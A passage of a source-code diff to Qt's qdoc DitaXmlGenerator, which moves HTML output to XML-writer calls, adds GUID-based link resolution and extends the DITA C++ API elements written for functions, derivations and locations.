-                        if (relative->status() != Node::Obsolete) {
-                            bool porting = false;
-                            if (relative->type() == Node::Fake) {
-                                const FakeNode* fake = static_cast<const FakeNode*>(relative);
-                                if (fake->title().startsWith("Porting"))
-                                    porting = true;
-                            }
-                            QString name = marker->plainFullName(relative);
-                            if (!porting && !name.startsWith("Q3")) {
-                                if (obsoleteLinks) {
-                                    relative->doc().location().warning(tr("Link to obsolete item '%1' in %2")
-                                                                       .arg(atom->string())
-                                                                       .arg(name));
-                                }
-                                inObsoleteLink = true;
-                            }
-                        }
-                    }
+        if (*node && (*node)->status() == Node::Obsolete) {
+            if (relative && (relative->parent() != *node) &&
+                (relative->status() != Node::Obsolete)) {
+                bool porting = false;
+                if (relative->type() == Node::Fake) {
+                    const FakeNode* fake = static_cast<const FakeNode*>(relative);
+                    if (fake->title().startsWith("Porting"))
+                        porting = true;
                 }
-                else {
-                    qDebug() << "Link to Obsolete entity"
-                             << (*node)->name() << "no relative";
+                QString name = marker->plainFullName(relative);
+                if (!porting && !name.startsWith("Q3")) {
+                    if (obsoleteLinks) {
+                        relative->doc().location().warning(tr("Link to obsolete item '%1' in %2")
+                                                           .arg(atom->string())
+                                                           .arg(name));
+                    }
+                    inObsoleteLink = true;
                 }
             }
-#if 0                    
-            else if ((*node)->status() == Node::Deprecated) {
-                qDebug() << "Link to Deprecated entity";
-            }
-            else if ((*node)->status() == Node::Internal) {
-                qDebug() << "Link to Internal entity";
-            }
-#endif                
         }
 
         while (!path.isEmpty()) {
@@ -4007,21 +4058,37 @@ QString DitaXmlGenerator::getLink(const Atom *atom,
             link = linkForNode(*node, relative);
             if (*node && (*node)->subType() == Node::Image)
                 link = "images/used-in-examples/" + link;
-            if (targetAtom)
-                link += "#" + refForAtom(targetAtom, *node);
+            if (targetAtom) {
+                if (link.isEmpty())
+                    link = outFileName();
+                QString guid = lookupGuid(link,refForAtom(targetAtom,*node));
+                link += "#" + guid;
+            }
+#if 0
+            else if (link.isEmpty() && *node) {
+                link = outFileName() + "#" + (*node)->guid();
+            }
+#endif
+            else if (!link.isEmpty() && *node && link.endsWith(".xml")) {
+                link += "#" + (*node)->guid();
+            }
         }
     }
+    if (!link.isEmpty() && link[0] == '#') {
+        link.prepend(outFileName());
+        qDebug() << "LOCAL LINK:" << link;
+    }
     return link;
 }
 
-void DitaXmlGenerator::generateIndex(const QString &fileBase,
-                                  const QString &url,
-                                  const QString &title)
+void DitaXmlGenerator::generateIndex(const QString& fileBase,
+                                     const QString& url,
+                                     const QString& title)
 {
     myTree->generateIndex(outputDir() + "/" + fileBase + ".index", url, title);
 }
 
-void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker)
+void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker)
 {
     Text text;
 
@@ -4046,13 +4113,13 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker)
             Atom *targetAtom = 0;
             if (fakeNode && node->type() == Node::Class) {
                 QString oldName(node->name());
-                targetAtom = myTree->findTarget(oldName.replace("3", ""),
-                                                fakeNode);
+                targetAtom = myTree->findTarget(oldName.replace("3",""),fakeNode);
             }
 
             if (targetAtom) {
-                text << Atom(Atom::Link, linkForNode(fakeNode, node) + "#" +
-                                         refForAtom(targetAtom, fakeNode));
+                QString fn = fileName(fakeNode);
+                QString guid = lookupGuid(fn,refForAtom(targetAtom,fakeNode));
+                text << Atom(Atom::GuidLink, fn + "#" + guid);
             }
             else
                 text << Atom(Atom::Link, "Porting to Qt 4");
@@ -4070,56 +4137,13 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker)
     }
 }
 
-#ifdef GENERATE_MAC_REFS    
-/*
-  No longer valid.
- */
-void DitaXmlGenerator::generateMacRef(const Node *node, CodeMarker *marker)
-{
-    if (!pleaseGenerateMacRef || marker == 0)
-        return;
-
-    QStringList macRefs = marker->macRefsForNode(node);
-    foreach (const QString &macRef, macRefs)
-        out() << "<a name=\"" << "//apple_ref/" << macRef << "\"></a>\n";
-}
-#endif
-
-void DitaXmlGenerator::beginLink(const QString &link,
-                              const Node *node,
-                              const Node *relative,
-                              CodeMarker *marker)
+void DitaXmlGenerator::beginLink(const QString& link)
 {
-    Q_UNUSED(marker)
-    Q_UNUSED(relative)
-
     this->link = link;
-    if (link.isEmpty()) {
-        if (showBrokenLinks)
-            writer.writeStartElement("i");
-    }
-    else if (node == 0 || (relative != 0 &&
-                           node->status() == relative->status())) {
-        writer.writeStartElement("xref");
-        writer.writeAttribute("href",link);
-    }
-    else {
-        switch (node->status()) {
-        case Node::Obsolete:
-            writer.writeStartElement("xref");
-            writer.writeAttribute("href",link);
-            writer.writeAttribute("outputclass","obsolete");
-            break;
-        case Node::Compat:
-            writer.writeStartElement("xref");
-            writer.writeAttribute("href",link);
-            writer.writeAttribute("outputclass","compat");
-            break;
-        default:
-            writer.writeStartElement("xref");
-            writer.writeAttribute("href",link);
-        }
-    }
+    if (link.isEmpty())
+        return;
+    xmlWriter().writeStartElement("xref");
+    xmlWriter().writeAttribute("href",link);
     inLink = true;
 }
 
@@ -4128,23 +4152,21 @@ void DitaXmlGenerator::endLink()
     if (inLink) {
         if (link.isEmpty()) {
             if (showBrokenLinks)
-                writer.writeEndElement(); // i
+                xmlWriter().writeEndElement(); // </i>
         }
         else {
             if (inObsoleteLink) {
-                writer.writeStartElement("sup");
-                writer.writeCharacters("(obsolete)");
-                writer.writeEndElement(); // sup
+                xmlWriter().writeStartElement("sup");
+                xmlWriter().writeCharacters("(obsolete)");
+                xmlWriter().writeEndElement(); // </sup>
             }
-            writer.writeEndElement(); // xref
+            xmlWriter().writeEndElement(); // </xref>
         }
     }
     inLink = false;
     inObsoleteLink = false;
 }
 
-#ifdef QDOC_QML
-
 /*!
   Generates the summary for the \a section. Only used for
   sections of QML element documentation.
@@ -4152,126 +4174,85 @@ void DitaXmlGenerator::endLink()
   Currently handles only the QML property group.
  */
 void DitaXmlGenerator::generateQmlSummary(const Section& section,
-                                       const Node *relative,
-                                       CodeMarker *marker)
+                                          const Node* relative,
+                                          CodeMarker* marker)
 {
     if (!section.members.isEmpty()) {
+        xmlWriter().writeStartElement("ul");
         NodeList::ConstIterator m;
-        int count = section.members.size();
-        bool twoColumn = false;
-        if (section.members.first()->type() == Node::QmlProperty) {
-            twoColumn = (count >= 5);
-        }
-        if (twoColumn)
-            out() << "<table class=\"qmlsummary\">\n";
-			        if (++numTableRows % 2 == 1)
-				out() << "<tr class=\"odd topAlign\">";
-				else
-				out() << "<tr class=\"even topAlign\">";
-            //      << "<tr><td class=\"topAlign\">";
-        out() << "<ul>\n";
-
-        int row = 0;
         m = section.members.begin();
         while (m != section.members.end()) {
-            if (twoColumn && row == (int) (count + 1) / 2)
-                out() << "</ul></td><td class=\"topAlign\"><ul>\n";
-            out() << "<li class=\"fn\">";
+            xmlWriter().writeStartElement("li");
             generateQmlItem(*m,relative,marker,true);
-            out() << "</li>\n";
-            row++;
+            xmlWriter().writeEndElement(); // </li>
             ++m;
         }
-        out() << "</ul>\n";
-        if (twoColumn)
-            out() << "</td></tr>\n</table>\n";
+        xmlWriter().writeEndElement(); // </ul>
     }
 }
 
 /*!
+  zzz
   Outputs the html detailed documentation for a section
   on a QML element reference page.
  */
-void DitaXmlGenerator::generateDetailedQmlMember(const Node *node,
-                                              const InnerNode *relative,
-                                              CodeMarker *marker)
+void DitaXmlGenerator::generateDetailedQmlMember(const Node* node,
+                                                 const InnerNode* relative,
+                                                 CodeMarker* marker)
 {
+    QString marked;
     const QmlPropertyNode* qpn = 0;
-#ifdef GENERATE_MAC_REFS    
-    generateMacRef(node, marker);
-#endif    
-    out() << "<div class=\"qmlitem\">";
     if (node->subType() == Node::QmlPropertyGroup) {
         const QmlPropGroupNode* qpgn = static_cast<const QmlPropGroupNode*>(node);
         NodeList::ConstIterator p = qpgn->childNodes().begin();
-        out() << "<div class=\"qmlproto\">";
-        out() << "<table class=\"qmlname\">";
-
+        xmlWriter().writeStartElement("ul");
         while (p != qpgn->childNodes().end()) {
             if ((*p)->type() == Node::QmlProperty) {
                 qpn = static_cast<const QmlPropertyNode*>(*p);
-                
-				if (++numTableRows % 2 == 1)
-					out() << "<tr class=\"odd\">";
-				else
-					out() << "<tr class=\"even\">";
-				
-				out() << "<td><p>";
-                //out() << "<tr><td>"; // old
-                out() << "<a name=\"" + refForNode(qpn) + "\"></a>";
+                xmlWriter().writeStartElement("li");
+                writeGuidAttribute((Node*)qpn);
+                QString attr;
                 if (!qpn->isWritable(myTree))
-                    out() << "<span class=\"qmlreadonly\">read-only</span>";
-                if (qpgn->isDefault())
-                    out() << "<span class=\"qmldefault\">default</span>";
+                    attr = "read-only";
+                if (qpgn->isDefault()) {
+                    if (!attr.isEmpty())
+                        attr += " ";
+                    attr += "default";
+                }
+                if (!attr.isEmpty())
+                    xmlWriter().writeAttribute("outputclass",attr);
                 generateQmlItem(qpn, relative, marker, false);
-                out() << "</td></tr>";
+                xmlWriter().writeEndElement(); // </li>
             }
             ++p;
         }
-        out() << "</table>";
-        out() << "</div>";
+        xmlWriter().writeEndElement(); // </ul>
     }
     else if (node->type() == Node::QmlSignal) {
-        const FunctionNode* qsn = static_cast<const FunctionNode*>(node);
-        out() << "<div class=\"qmlproto\">";
-        out() << "<table class=\"qmlname\">";
-        //out() << "<tr>";
-		if (++numTableRows % 2 == 1)
-			out() << "<tr class=\"odd\">";
-		else
-			out() << "<tr class=\"even\">";
-        out() << "<td><p>";
-        out() << "<a name=\"" + refForNode(qsn) + "\"></a>";
-        generateSynopsis(qsn,relative,marker,CodeMarker::Detailed,false);
-        //generateQmlItem(qsn,relative,marker,false);
-        out() << "</p></td></tr>";
-        out() << "</table>";
-        out() << "</div>";
+        Node* n = const_cast<Node*>(node);
+        xmlWriter().writeStartElement("ul");
+        xmlWriter().writeStartElement("li");
+        writeGuidAttribute(n);
+        marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed);
+        writeText(marked, marker, relative);
+        xmlWriter().writeEndElement(); // </li>
+        xmlWriter().writeEndElement(); // </ul>
     }
     else if (node->type() == Node::QmlMethod) {
-        const FunctionNode* qmn = static_cast<const FunctionNode*>(node);
-        out() << "<div class=\"qmlproto\">";
-        out() << "<table class=\"qmlname\">";
-        //out() << "<tr>";
-		if (++numTableRows % 2 == 1)
-			out() << "<tr class=\"odd\">";
-		else
-			out() << "<tr class=\"even\">";
-        out() << "<td><p>";
-        out() << "<a name=\"" + refForNode(qmn) + "\"></a>";
-        generateSynopsis(qmn,relative,marker,CodeMarker::Detailed,false);
-        out() << "</p></td></tr>";
-        out() << "</table>";
-        out() << "</div>";
+        Node* n = const_cast<Node*>(node);
+        xmlWriter().writeStartElement("ul");
+        xmlWriter().writeStartElement("li");
+        writeGuidAttribute(n);
+        marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed);
+        writeText(marked, marker, relative);
+        xmlWriter().writeEndElement(); // </li>
+        xmlWriter().writeEndElement(); // </ul>
     }
-    out() << "<div class=\"qmldoc\">";
     generateStatus(node, marker);
     generateBody(node, marker);
     generateThreadSafeness(node, marker);
     generateSince(node, marker);
     generateAlsoList(node, marker);
-    out() << "</div>";
-    out() << "</div>";
 }
 
 /*!
@@ -4279,7 +4260,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node,
   if there should be one.
  */
 void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
-                                        CodeMarker* marker)
+                                           CodeMarker* marker)
 {
     if (cn && !cn->links().empty()) {
         if (cn->links().contains(Node::InheritsLink)) {
@@ -4289,7 +4270,8 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
             const Node* n = myTree->findNode(strList,Node::Fake);
             if (n && n->subType() == Node::QmlClass) {
                 const QmlClassNode* qcn = static_cast<const QmlClassNode*>(n);
-                out() << "<p class=\"centerAlign\">";
+                xmlWriter().writeStartElement("p");
+                xmlWriter().writeAttribute("outputclass","inherits");
                 Text text;
                 text << "[Inherits ";
                 text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn));
@@ -4298,7 +4280,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
                 text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK);
                 text << "]";
                 generateText(text, cn, marker);
-                out() << "</p>";
+                xmlWriter().writeEndElement(); // </p>
             }
         }
     }
@@ -4309,7 +4291,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn,
   if it is inherited by any other elements.
  */
 void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn,
-                                           CodeMarker* marker)
+                                              CodeMarker* marker)
 {
     if (cn) {
         NodeList subs;
@@ -4332,11 +4314,12 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn,
   is set to Node::Internal, do nothing. 
  */
 void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn,
-                                            CodeMarker* marker)
+                                               CodeMarker* marker)
 {
     const ClassNode* cn = qcn->classNode();
     if (cn && (cn->status() != Node::Internal)) {
-        out() << "<p class=\"centerAlign\">";
+        xmlWriter().writeStartElement("p");
+            xmlWriter().writeAttribute("outputclass","instantiates");
         Text text;
         text << "[";
         text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn));
@@ -4350,7 +4333,7 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn,
         text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK);
         text << "]";
         generateText(text, qcn, marker);
-        out() << "</p>";
+        xmlWriter().writeEndElement(); // </p>
     }
 }
 
@@ -4362,12 +4345,13 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn,
   is set to Node::Internal, do nothing. 
  */
 void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn,
-                                           CodeMarker* marker)
+                                              CodeMarker* marker)
 {
     if (cn &&  cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) {
         const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake);
         if (n && n->subType() == Node::QmlClass) {
-            out() << "<p class=\"centerAlign\">";
+            xmlWriter().writeStartElement("p");
+            xmlWriter().writeAttribute("outputclass","instantiated-by");
             Text text;
             text << "[";
             text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn));
@@ -4381,138 +4365,12 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn,
             text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK);
             text << "]";
             generateText(text, cn, marker);
-            out() << "</p>";
+            xmlWriter().writeEndElement(); // </p>
         }
     }
 }
 
 /*!
-  Generate the <page> element for the given \a node using the \a writer.
-  Return true if a <page> element was written; otherwise return false.
- */
-bool DitaXmlGenerator::generatePageElement(QXmlStreamWriter& writer,
-                                        const Node* node,
-                                        CodeMarker* marker) const
-{
-    if (node->pageType() == Node::NoPageType)
-        return false;
-    if (node->name().isEmpty())
-        return true;
-    if (node->access() == Node::Private)
-        return false;
-    if (!node->isInnerNode())
-        return false;
-
-    QString title;
-    QString rawTitle;
-    QString fullTitle;
-    const InnerNode* inner = static_cast<const InnerNode*>(node);
-        
-    writer.writeStartElement("page");
-    QXmlStreamAttributes attributes;
-    QString t;
-    t.setNum(id++);
-    switch (node->type()) {
-    case Node::Fake:
-        {
-            const FakeNode* fake = static_cast<const FakeNode*>(node);
-            title = fake->fullTitle();
-            break;
-        }
-    case Node::Class:
-        {
-            title = node->name() + " Class Reference";
-            break;
-        }
-    case Node::Namespace:
-        {
-            rawTitle = marker->plainName(inner);
-            fullTitle = marker->plainFullName(inner);
-            title = rawTitle + " Namespace Reference";
-            break;
-        }
-    default:
-        title = node->name();
-        break;
-    }
-    writer.writeAttribute("id",t);
-    writer.writeStartElement("pageWords");
-    writer.writeCharacters(title);
-    if (!inner->pageKeywords().isEmpty()) {
-        const QStringList& w = inner->pageKeywords();
-        for (int i = 0; i < w.size(); ++i) {
-            writer.writeCharacters(" ");
-            writer.writeCharacters(w.at(i).toLocal8Bit().constData());
-        }
-    }
-    writer.writeEndElement();
-    writer.writeStartElement("pageTitle");
-    writer.writeCharacters(title);
-    writer.writeEndElement();
-    writer.writeStartElement("pageUrl");
-    writer.writeCharacters(PageGenerator::fileName(node));
-    writer.writeEndElement();
-    writer.writeStartElement("pageType");
-    switch (node->pageType()) {
-    case Node::ApiPage:
-        writer.writeCharacters("APIPage");
-        break;
-    case Node::ArticlePage:
-        writer.writeCharacters("Article");
-        break;
-    case Node::ExamplePage:
-        writer.writeCharacters("Example");
-        break;
-    default:
-        break;
-    }
-    writer.writeEndElement();
-    writer.writeEndElement();
-    return true;
-}
-
-/*!
-  Traverse the tree recursively and generate the <keyword>
-  elements.
- */
-void DitaXmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const
-{
-    if (generatePageElement(writer, node, marker)) {
-
-        if (node->isInnerNode()) {
-            const InnerNode *inner = static_cast<const InnerNode *>(node);
-
-            // Recurse to write an element for this child node and all its children.
-            foreach (const Node *child, inner->childNodes())
-                generatePageElements(writer, child, marker);
-        }
-    }
-}
-
-/*!
-  Outputs the file containing the index used for searching the html docs.
- */
-void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const
-{
-    QFile file(fileName);
-    if (!file.open(QFile::WriteOnly | QFile::Text))
-        return ;
-
-    QXmlStreamWriter writer(&file);
-    writer.setAutoFormatting(true);
-    writer.writeStartDocument();
-    writer.writeStartElement("qtPageIndex");
-
-    generatePageElements(writer, myTree->root(), marker);
-
-    writer.writeEndElement(); // qtPageIndex
-    writer.writeEndDocument();
-    file.close();
-}
-
-#endif
-
-/*!
   Return the full qualification of the node \a n, but without
   the name of \a n itself. e.g. A::B::C
  */
@@ -4537,48 +4395,94 @@ QString DitaXmlGenerator::fullQualification(const Node* n)
     return fq;
 }
 
+/*!
+  Outputs the <cxxClassDerivations> element.
+  \code
+	<cxxClassDerivations>
+		<cxxClassDerivation>
+			...
+		</cxxClassDerivation>
+		...
+	</cxxClassDerivations>
+  \endcode
+
+  The <cxxClassDerivation> element is:
+
+  \code
+	<cxxClassDerivation>
+		<cxxClassDerivationAccessSpecifier value="public"/>
+		<cxxClassBaseClass href="class_base">Base</cxxClassBaseClass>
+	</cxxClassDerivation>
+  \endcode
+ */
 void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker)
 {
     QList<RelatedClass>::ConstIterator r;
     int index;
 
     if (!cn->baseClasses().isEmpty()) {
-        writer.writeStartElement(CXXCLASSDERIVATIONS);
+        xmlWriter().writeStartElement(CXXCLASSDERIVATIONS);
         r = cn->baseClasses().begin();
         index = 0;
         while (r != cn->baseClasses().end()) {
-            writer.writeStartElement(CXXCLASSDERIVATION);
-            writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER);
-            writer.writeAttribute("value",(*r).accessString());
-            writer.writeEndElement(); // </cxxClassDerivationAccessSpecifier>
-            writer.writeStartElement(CXXCLASSBASECLASS);
-            writer.writeAttribute("href",(*r).node->ditaXmlHref());
-            writer.writeCharacters(marker->plainFullName((*r).node));
-            writer.writeEndElement(); // </cxxClassBaseClass>
-            writer.writeEndElement(); // </cxxClassDerivation>
+            xmlWriter().writeStartElement(CXXCLASSDERIVATION);
+            xmlWriter().writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER);
+            xmlWriter().writeAttribute("value",(*r).accessString());
+            xmlWriter().writeEndElement(); // </cxxClassDerivationAccessSpecifier>
+
+            // not included: <cxxClassDerivationVirtual>
+
+            xmlWriter().writeStartElement(CXXCLASSBASECLASS);
+            QString attr = fileName((*r).node) + "#" + (*r).node->guid();
+            xmlWriter().writeAttribute("href",attr);
+            writeCharacters(marker->plainFullName((*r).node));
+            xmlWriter().writeEndElement(); // </cxxClassBaseClass>
+
+            // not included: <ClassBaseStruct> or <cxxClassBaseUnion>
+
+            xmlWriter().writeEndElement(); // </cxxClassDerivation>
+
+            // not included: <cxxStructDerivation>
+
              ++r;
         }
-        writer.writeEndElement(); // </cxxClassDerivations>
+        xmlWriter().writeEndElement(); // </cxxClassDerivations>
      }
 }
 
+/*!
+  Writes a <cxxXXXAPIItemLocation> element, depending on the
+  type of the node \a n, which can be a class, function, enum,
+  typedef, or property.
+ */
 void DitaXmlGenerator::writeLocation(const Node* n)
 {
-    QString s1, s2, s3;
-    if (n->type() == Node::Class) {
+    QString s1, s2, s3, s4, s5, s6;
+    if (n->type() == Node::Class || n->type() == Node::Namespace) {
         s1 = CXXCLASSAPIITEMLOCATION;
         s2 = CXXCLASSDECLARATIONFILE;
         s3 = CXXCLASSDECLARATIONFILELINE;
     }
     else if (n->type() == Node::Function) {
-        s1 = CXXFUNCTIONAPIITEMLOCATION;
-        s2 = CXXFUNCTIONDECLARATIONFILE;
-        s3 = CXXFUNCTIONDECLARATIONFILELINE;
+        FunctionNode* fn = const_cast<FunctionNode*>(static_cast<const FunctionNode*>(n));
+        if (fn->isMacro()) {
+            s1 = CXXDEFINEAPIITEMLOCATION;
+            s2 = CXXDEFINEDECLARATIONFILE;
+            s3 = CXXDEFINEDECLARATIONFILELINE;
+        }
+        else {
+            s1 = CXXFUNCTIONAPIITEMLOCATION;
+            s2 = CXXFUNCTIONDECLARATIONFILE;
+            s3 = CXXFUNCTIONDECLARATIONFILELINE;
+        }
     }
     else if (n->type() == Node::Enum) {
         s1 = CXXENUMERATIONAPIITEMLOCATION;
         s2 = CXXENUMERATIONDECLARATIONFILE;
         s3 = CXXENUMERATIONDECLARATIONFILELINE;
+        s4 = CXXENUMERATIONDEFINITIONFILE;
+        s5 = CXXENUMERATIONDEFINITIONFILELINESTART;
+        s6 = CXXENUMERATIONDEFINITIONFILELINEEND;
     }
     else if (n->type() == Node::Typedef) {
         s1 = CXXTYPEDEFAPIITEMLOCATION;
@@ -4591,92 +4495,133 @@ void DitaXmlGenerator::writeLocation(const Node* n)
         s2 = CXXVARIABLEDECLARATIONFILE;
         s3 = CXXVARIABLEDECLARATIONFILELINE;
     }
-    writer.writeStartElement(s1);
-    writer.writeStartElement(s2);
-    writer.writeAttribute("name","filePath");
-    writer.writeAttribute("value",n->location().filePath());
-    writer.writeEndElement(); // </cxx<s2>DeclarationFile>
-    writer.writeStartElement(s3);
-    writer.writeAttribute("name","lineNumber");
+    xmlWriter().writeStartElement(s1);
+    xmlWriter().writeStartElement(s2);
+    xmlWriter().writeAttribute("name","filePath");
+    xmlWriter().writeAttribute("value",n->location().filePath());
+    xmlWriter().writeEndElement(); // </cxx<s2>DeclarationFile>
+    xmlWriter().writeStartElement(s3);
+    xmlWriter().writeAttribute("name","lineNumber");
     QString lineNr;
-    writer.writeAttribute("value",lineNr.setNum(n->location().lineNo()));
-    writer.writeEndElement(); // </cxx<s3>DeclarationFileLine>
-    writer.writeEndElement(); // </cxx<s1>ApiItemLocation>
+    xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo()));
+    xmlWriter().writeEndElement(); // </cxx<s3>DeclarationFileLine>
+    if (!s4.isEmpty()) { // zzz This stuff is temporary, I think.
+        xmlWriter().writeStartElement(s4);
+        xmlWriter().writeAttribute("name","filePath");
+        xmlWriter().writeAttribute("value",n->location().filePath());
+        xmlWriter().writeEndElement(); // </cxx<s4>DefinitionFile>
+        xmlWriter().writeStartElement(s5);
+        xmlWriter().writeAttribute("name","lineNumber");
+        xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo()));
+        xmlWriter().writeEndElement(); // </cxx<s5>DefinitionFileLineStart>
+        xmlWriter().writeStartElement(s6);
+        xmlWriter().writeAttribute("name","lineNumber");
+        xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo()));
+        xmlWriter().writeEndElement(); // </cxx<s6>DefinitionFileLineEnd>
+    }
+
+    // not included: <cxxXXXDefinitionFile>, <cxxXXXDefinitionFileLineStart>,
+    //               and <cxxXXXDefinitionFileLineEnd>
+
+    xmlWriter().writeEndElement(); // </cxx<s1>ApiItemLocation>
 }
 
+/*!
+  Write the <cxxFunction> elements.
+ */
 void DitaXmlGenerator::writeFunctions(const Section& s, 
-                                      const ClassNode* cn, 
-                                      CodeMarker* marker)
+                                      const Node* n, 
+                                      CodeMarker* marker,
+                                      const QString& attribute)
 {
     NodeList::ConstIterator m = s.members.begin();
     while (m != s.members.end()) {
         if ((*m)->type() == Node::Function) {
             FunctionNode* fn = const_cast<FunctionNode*>(static_cast<const FunctionNode*>(*m));
-            writer.writeStartElement(CXXFUNCTION);
-            writer.writeAttribute("id",fn->guid());
-            writer.writeStartElement(APINAME);
-            writer.writeCharacters(fn->name());
-            writer.writeEndElement(); // </apiName>
+            xmlWriter().writeStartElement(CXXFUNCTION);
+            xmlWriter().writeAttribute("id",fn->guid());
+            if (!attribute.isEmpty())
+                xmlWriter().writeAttribute("outputclass",attribute);
+            xmlWriter().writeStartElement("apiName");
+            if (fn->metaness() == FunctionNode::Signal)
+                xmlWriter().writeAttribute("class","signal");
+            else if (fn->metaness() == FunctionNode::Slot)
+                xmlWriter().writeAttribute("class","slot");
+            writeCharacters(fn->name());
+            xmlWriter().writeEndElement(); // </apiName>
             generateBrief(fn,marker);
-            writer.writeStartElement(CXXFUNCTIONDETAIL);
-            writer.writeStartElement(CXXFUNCTIONDEFINITION);
-            writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER);
-            writer.writeAttribute("value",fn->accessString());
-            writer.writeEndElement(); // <cxxFunctionAccessSpecifier>
+
+            // not included: <prolog>
+
+            xmlWriter().writeStartElement(CXXFUNCTIONDETAIL);
+            xmlWriter().writeStartElement(CXXFUNCTIONDEFINITION);
+            xmlWriter().writeStartElement(CXXFUNCTIONACCESSSPECIFIER);
+            xmlWriter().writeAttribute("value",fn->accessString());
+            xmlWriter().writeEndElement(); // <cxxFunctionAccessSpecifier>
+
+            // not included: <cxxFunctionStorageClassSpecifierExtern>
 
             if (fn->isStatic()) {
-                writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC);
-                writer.writeAttribute("name","static");
-                writer.writeAttribute("value","static");
-                writer.writeEndElement(); // <cxxFunctionStorageClassSpecifierStatic>
+                xmlWriter().writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC);
+                xmlWriter().writeAttribute("name","static");
+                xmlWriter().writeAttribute("value","static");
+                xmlWriter().writeEndElement(); // <cxxFunctionStorageClassSpecifierStatic>
             }
-            
+
+            // not included: <cxxFunctionStorageClassSpecifierMutable>,
+
             if (fn->isConst()) {
-                writer.writeStartElement(CXXFUNCTIONCONST);
-                writer.writeAttribute("name","const");
-                writer.writeAttribute("value","const");
-                writer.writeEndElement(); // <cxxFunctionConst>
+                xmlWriter().writeStartElement(CXXFUNCTIONCONST);
+                xmlWriter().writeAttribute("name","const");
+                xmlWriter().writeAttribute("value","const");
+                xmlWriter().writeEndElement(); // <cxxFunctionConst>
             }
+            
+            // not included: <cxxFunctionExplicit>
+            //               <cxxFunctionInline
 
             if (fn->virtualness() != FunctionNode::NonVirtual) {
-                writer.writeStartElement(CXXFUNCTIONVIRTUAL);
-                writer.writeAttribute("name","virtual");
-                writer.writeAttribute("value","virtual");
-                writer.writeEndElement(); // <cxxFunctionVirtual>
+                xmlWriter().writeStartElement(CXXFUNCTIONVIRTUAL);
+                xmlWriter().writeAttribute("name","virtual");
+                xmlWriter().writeAttribute("value","virtual");
+                xmlWriter().writeEndElement(); // <cxxFunctionVirtual>
                 if (fn->virtualness() == FunctionNode::PureVirtual) {
-                    writer.writeStartElement(CXXFUNCTIONPUREVIRTUAL);
-                    writer.writeAttribute("name","pure virtual");
-                    writer.writeAttribute("value","pure virtual");
-                    writer.writeEndElement(); // <cxxFunctionPureVirtual>
+                    xmlWriter().writeStartElement(CXXFUNCTIONPUREVIRTUAL);
+                    xmlWriter().writeAttribute("name","pure virtual");
+                    xmlWriter().writeAttribute("value","pure virtual");
+                    xmlWriter().writeEndElement(); // <cxxFunctionPureVirtual>
                 }
             }
             
-            if (fn->name() == cn->name()) {
-                writer.writeStartElement(CXXFUNCTIONCONSTRUCTOR);
-                writer.writeAttribute("name","constructor");
-                writer.writeAttribute("value","constructor");
-                writer.writeEndElement(); // <cxxFunctionConstructor>
+            if (fn->name() == n->name()) {
+                xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR);
+                xmlWriter().writeAttribute("name","constructor");
+                xmlWriter().writeAttribute("value","constructor");
+                xmlWriter().writeEndElement(); // <cxxFunctionConstructor>
             }
             else if (fn->name()[0] == QChar('~')) {
-                writer.writeStartElement(CXXFUNCTIONDESTRUCTOR);
-                writer.writeAttribute("name","destructor");
-                writer.writeAttribute("value","destructor");
-                writer.writeEndElement(); // <cxxFunctionDestructor>
+                xmlWriter().writeStartElement(CXXFUNCTIONDESTRUCTOR);
+                xmlWriter().writeAttribute("name","destructor");
+                xmlWriter().writeAttribute("value","destructor");
+                xmlWriter().writeEndElement(); // <cxxFunctionDestructor>
             }
             else {
-                writer.writeStartElement(CXXFUNCTIONDECLAREDTYPE);
-                writer.writeCharacters(fn->returnType());
-                writer.writeEndElement(); // <cxxFunctionDeclaredType>
+                xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE);
+                writeCharacters(fn->returnType());
+                xmlWriter().writeEndElement(); // <cxxFunctionDeclaredType>
             }
+
+            // not included: <cxxFunctionReturnType>
+
             QString fq = fullQualification(fn);
             if (!fq.isEmpty()) {
-                writer.writeStartElement(CXXFUNCTIONSCOPEDNAME);
-                writer.writeCharacters(fq);
-                writer.writeEndElement(); // <cxxFunctionScopedName>
+                xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME);
+                writeCharacters(fq);
